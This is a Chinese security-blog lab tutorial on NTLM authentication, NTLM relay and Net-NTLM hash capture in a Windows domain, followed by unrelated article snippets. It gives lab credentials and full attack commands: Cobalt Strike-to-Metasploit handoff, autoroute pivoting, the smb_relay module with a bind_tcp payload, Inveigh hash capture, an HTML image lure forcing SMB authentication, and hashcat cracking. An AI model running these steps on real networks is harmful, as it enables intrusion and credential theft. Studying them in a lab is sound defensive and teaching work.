当前位置: 首页 > news >正文

内网安全:NTLM-Relay

目录

NTLM认证过程以及攻击面

NTLM Relay攻击

NTLM攻击总结

实验环境说明

域横向移动:NTLM中继攻击

攻击条件

实战一:NTLM中继攻击-CS转发上线MSF

原理示意图

一. CS代理转发

二. MSF架设路由

三. 适用smb_relay模块进行中继攻击

域横向移动:Net NTLM Hash劫持破解

一. 监听拦截

二. 触发拦截

三. 破解密钥

补充:这种方式不仅可以适用smb协议,还可以走其他的


NTLM认证过程以及攻击面

非域中

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

域中,在第4步有所不同,如果是在域环境中,那么认证过程会经过域控制器:

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
  5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

  • 针对NTLM Hash的攻击:PTH,信息收集
  • 针对Net NTLM Hash的攻击:暴力破解明文密码,利用Net-NTLM Hash中继攻击

Pass The Hash:哈希传递攻击,通过抓取主机上的Hash,传递他们进行攻击,不需要明文密码。

利用NTLM进行信息收集:通过CS,命令就可以达到目的,没有意义。

Net-NTLM Hash破解,暴力破解得到明文密码

NTLM Relay:利用Net-NTLM Hash进行中继攻击

PTH的攻击条件需要NTLM-Hash,而后两种则是通过Net-NTLM Hash进行攻击的

如果计算机的修改过注册表,打过补丁,都有可能造成明文密码,Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。

NTLM Relay攻击

这种攻击方式可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

Relay攻击要涉及到NTLM认证和Net-NTLM Hash

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码,Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge,用户名得到的。

NTLM攻击总结

有NTLM Hash,直接PTH;没有NTLM Hash,尝试抓取Net NTLM Hash,暴力破解明文密码,中继攻击。

实验环境说明

DC:192.168.3.21      

        本地管理员:administrator Admin12345

        域账户:god/administrator Admin12345

SQLserver:192.168.3.32

        本地管理员:administrator admin!@#45

        域账户:god/dbadmin admin!@#45

Mary-PC:192.168.3.25

        本地管理员:administrator admin!@#45

        域账户:god/mary admin!@#45

webserver:192.168.3.31    192.168.46.128(出网)

        本地管理员:administrator admin!@#45

        域账户:god/webadmin admin!@#45

Kali:架设MSF 192.168.46.166

46网段是出网的,3网段是内网。

域横向移动:NTLM中继攻击

一句换概括:拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。

一般不会拿域账户的NTLM Hash,因为没有意义,权限太低。

攻击条件

在内网一台计算机上执行下面这条命令,会发生什么事情?此时该主机是管理员登录

dir \\192.168.3.21\c$
dir \\192.168.3.32\c$

这时通过SMB协议访问对方主机的C盘,这是一个访问对方主机服务的过程,是需要NTLM验证的,这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的,在内存中会加载已有的NTLM Hash,也就是自己的(该命令会默认拿自己的),用这一套NTLM Hash去做NTLM认证。

一般来说是会失败的,但是这里却成功了。访问192.168.3.32失败,下面的却成功了。

也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。

这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash(或者说账号密码)进行碰撞,因为这台机器虽然我们拿到了权限,但是NTLM Hash窃取不到,尝试通过这种赌博行为攻击其它主机。

在实验环境中,用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。

实战一:NTLM中继攻击-CS转发上线MSF

首先是获得了一台主机webserver的权限

原理示意图

CS做权限移交,利用MSF进行渗透,CS上每次功能

MSF做一个转发工作,配置转发对象

攻击原理:用已经拿下权限的主机利用administrator权限去比对任意域内主机,比对成功就可以访问登录对方主机,就可以直接上线MSF拿到对象的administrator权限

一. CS代理转发

转发到内网的一台Kali上,上面架设有MSF,实际环境也可,转发外网。

配置监听器,CS流量转发MSF 192.168.46.166(出网)2222端口

 转发这个监听器

spawn l-msf

二. MSF架设路由

MSF监听,上线

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run

添加路由

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

MSF可以攻击到内网3网段

三. 适用smb_relay模块进行中继攻击

设置攻击目标为192.168.3.32

重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166   //设置本地IP
set autorunscript post/windows/manage/migrate

建立正向连接

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

这里是一个system权限,我们需要的administrator权限,降权

CS降权

查看进程

记录下pid,通过system进行令牌窃取,权限降为administrator

MSF降权

get uid
ps

在CS上执行命令

shell dir \\192.168.46.166\c$

 这条命令会被MSF中继模块再次进行转发,相当于是192.168.3.31对192.168.3.32发起请求

dir \\192.168.3.32\c$

也可以在MSF上执行,Meterpreter上输出shell,弹出192.168.3.31的cmd

攻击成功,192.168.3.32上线MSF

192.168.3.32上线MSF,因为采用的是正向连接,也就是192.168.3.31正向连接192.168.3.32

上线!!!

域横向移动:Net NTLM Hash劫持破解

条件:被控主机当前管理员权限

因为下面是利用工具,所以需要足够的运行权限

项目地址:https://github.com/Kevin-Robertson/Inveigh

这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31,对方会把自己的Hash发给我们,直接拦截下来,Net NTLM Hash被捕捉,只要是访问192.168.3.31,就会被拿下Hash,这Hash可能是域控的,本地管理员的,域用户的

一. 监听拦截

上传程序到对方主机,或者挂代理(不推荐)程序本身就不大,避免数据丢失

工具放在192.168.3.31被控主机上执行

Inveigh.exe

获取到的是NET NTLM HASH V1或V2

二. 触发拦截

令别的主机dir webserver,这里是拿域控的主机进行演示

dir \\192.168.3.31\c$

拦截到Hash 

会保存在当前目录

这个一般是要配合钓鱼,和前面的Exchange服务利用进行结合

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.3.32\2">
</body>
</html>

三. 破解密钥

破解域控的Hash,得到域控的明文密码

hashcat -m 5600 hash pass.txt --show

得到域控用户的Hash明文 Admin12345

补充:这种方式不仅可以适用smb协议,还可以走其他的

相关文章:

内网安全:NTLM-Relay

目录 NTLM认证过程以及攻击面 NTLM Relay攻击 NTLM攻击总结 实验环境说明 域横向移动&#xff1a;NTLM中继攻击 攻击条件 实战一&#xff1a;NTLM中继攻击-CS转发上线MSF 原理示意图 一. CS代理转发 二. MSF架设路由 三. 适用smb_relay模块进行中继攻击 域横向移动…...

Tensorflow2.0笔记 - tensor的padding和tile

本笔记记录tensor的填充和tile操作&#xff0c;对应tf.pad和tf.tile import tensorflow as tf import numpy as nptf.__version__#pad做填充 # tf.pad( tensor,paddings, modeCONSTANT,nameNone) #1维tensor填充 tensor tf.random.uniform([5], maxval10, dtypetf.int32) pri…...

多媒体测试资源

目录 简介自己整理的文件测试资源列表 简介 音视频测试时,需要许多源文件,这里整理了一些.会持续更新.当然可以使用ffmpeg转换获得需要的文件. 如果知道的这方面资源的,在评论区留言. 自己整理的文件 有视频,图片,音频. 链接&#xff1a;https://pan.baidu.com/s/1vatLmWk…...

Wordpress seo优化该怎么做?

Wordpress作为开源管理系统&#xff0c;目前已然是世界上最流行的cms之一&#xff0c;这不仅仅因为他开源&#xff0c;对用户友好&#xff0c;让任何人都能轻而易举的制作网站&#xff0c;更是因为这套程序对于搜索引擎非常友好&#xff0c;是做谷歌seo的不二之选 Wordpress作为…...

Ultraleap 3Di示例Interactable Objects组件分析

该示例代码位置如下&#xff1a; 分析如下&#xff1a; Hover Enabled&#xff1a;悬停功能&#xff0c;手放在这个模型上&#xff0c;会触发我们手放在这个模型上的悬停功能。此时当手靠近模型的时候&#xff0c;手的模型的颜色会发生改变&#xff0c;反之&#xff0c;则不会…...

Vue自定义成功弹窗H5实现类似于小程序的效果

效果图&#xff1a; <div class"father"><div class"success-box" v-if"isSuccess"><img src"../../assets/insure/success-logo.png" alt""><span>{{ successTitle }}</span></div> &…...

Linux之父:我们正在从C语言转向Rust

最近&#xff0c;Linus在“Torvalds 演讲&#xff1a;人工智能对编程的影响”&#xff1a;“我们正在从C语言转向Rust”。 网友讨论&#xff1a; Linus 选择 Rust 是因为&#xff0c;这是一个中长期解决方案&#xff0c;解决了 IT 世界中缺乏 C/C 人员的实际问题&#xff0c;所…...

C++ qt标题栏组件绘制

本博文源于笔者在学习C qt制作的标题栏组件&#xff0c;主要包含了&#xff0c;最小化&#xff0c;最大化&#xff0c;关闭。读者在看到这篇博文的时候&#xff0c;可以直接查看如何使用的&#xff0c;会使用了&#xff0c;然后进行复制粘贴源码部分即可。 问题来源 想要制作…...

Mysql运维篇(三) MySQL备份与恢复

一路走来&#xff0c;所有遇到的人&#xff0c;帮助过我的、伤害过我的都是朋友&#xff0c;没有一个是敌人。如有侵权&#xff0c;请留言&#xff0c;我及时删除&#xff01; 一、物理备份与逻辑备份 1、物理备份&#xff1a;备份数据文件&#xff0c;转储数据库物理文件到某…...

数字图像处理(实践篇)二十七 Python-OpenCV 滑动条的使用

目录 1 涉及的函数 2 实践 1 涉及的函数 ⒈ setWindowProperty()用于设置GUI应用程序的属性 cv2.setWindowProperty(windowsName, prop_id, prop_value) 参数: ①...

拷贝构造函数的理解

1.拷贝构造函数与构造函数类似&#xff0c;当没有自定义拷贝构造函数的时候&#xff0c;编译器会定义一个拷贝构造函数。 当类对象没有初始化的时候&#xff0c;通过赋值运算符的形式&#xff0c;也是调用拷贝构造函数。 Test aa(100); Test bb aa;//调用拷贝构造函数Test …...

基于ncurse的floppy_bird小游戏

1. 需求分析 将运动分解为鸟的垂直运动和杆的左右运动。 2. 概要设计 2.1 鸟运动部分 2.2 杆的运动 3. 代码实现 #include <stdio.h> #include <ncurses.h>#include <stdlib.h> #include <time.h>int vx 0; int vy 1;int bird_r; int bird_c;int…...

创建第一个 Spring 项目(IDEA社区版)

文章目录 创建 Spring 项目创建一个普通的 Maven 项目添加 Spring 依赖IDEA更换国内源 运行第一个 Spring 项目新建启动类存储 Bean 对象将Bean注册到Spring 获取并使用 Bean 对象 创建 Spring 项目 创建一个普通的 Maven 项目 首先创建一个普通的 Maven 项目 添加 Spring 依…...

VUE3动漫影视视频网站模板源码

文章目录 1.视频设计来源1.1 主界面1.2 动漫、电视剧、电影视频界面1.3 播放视频界面1.4 娱乐前线新闻界面1.5 关于我们界面 2.效果和源码2.1 动态效果2.2 源码结构 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/deta…...

Node.js-express

1.了解Ajax 1.1 什么是ajax Ajax的全称是Asynchronous Javascript And XML&#xff08;异步Js和XML&#xff09;. 通俗的理解&#xff1a;在网页中利用XMLHttpRequest对象和服务器进行数据交互的方式&#xff0c;就是Ajax 1.2 为什么要学习Ajax 之前所学的技术&#xff0c…...

心理学笔记——我们如何思考-思想、语言和手语

我们如何思考-思想、语言和手语 研究语言的理论&#xff1a;计算理论、认知神经学、进化论 当我们讨论语言时&#xff0c;指的是英语、中文、日语这样的语言系统 所有语言都共享一些深层且复杂的共性&#xff0c;最直观的就是每一种语言都能够有效地表达抽象概念——思想、物…...

Matlab处理excel数据

我们新建个excel文档&#xff0c;用Matlab读取里面的内容&#xff0c;计算和判断里面的计算结果是否正确&#xff0c;并打印到另一个文档当中。 新建文档 新建输入文档&#xff0c;文件名TestExcel 编写脚本 [num,txt] xlsread(TestExcel.xlsx); SNcode num(:,1);%从序号中…...

某大厂关于Linux系统相关面试题

一、Linux系统和Shell 1、写一个sed命令&#xff0c;修改/tmp/input.txt文件的内容&#xff0c;要求&#xff1a;(1) 删除所有空行&#xff1b;(2) 在非空行前面加一个"AAA"&#xff0c;在行尾加一个"BBB"&#xff0c;即将内容为11111的一行改为&#xff1…...

Markdown(2篇文章学会Markdown

目录 1.文章链接&#xff1a;2.markdown可以用来解决什么问题&#xff1a;小结&#xff1a; 1.文章链接&#xff1a; Markdown&#xff08;2篇文章学会Markdown第一篇 Markdown&#xff08;2篇文章学会Markdown第二篇 2.markdown可以用来解决什么问题&#xff1a; 格式化文…...

多路IO复用服务器——select模型和poll模型

文章目录 一、多路IO复用服务器是什么&#xff1f;二、使用原理三、种类四、select模型五、select模型优缺点六、poll模型总结 一、多路IO复用服务器是什么&#xff1f; 服务器要与客户端完成tcp连接&#xff0c;并保持连接维护可用sock。 每个都需要准备一个进程管一个sock&a…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

基于当前项目通过npm包形式暴露公共组件

1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹&#xff0c;并新增内容 3.创建package文件夹...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】

1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...

解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错

出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上&#xff0c;所以报错&#xff0c;到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本&#xff0c;cu、torch、cp 的版本一定要对…...

Ascend NPU上适配Step-Audio模型

1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统&#xff0c;支持多语言对话&#xff08;如 中文&#xff0c;英文&#xff0c;日语&#xff09;&#xff0c;语音情感&#xff08;如 开心&#xff0c;悲伤&#xff09;&#x…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...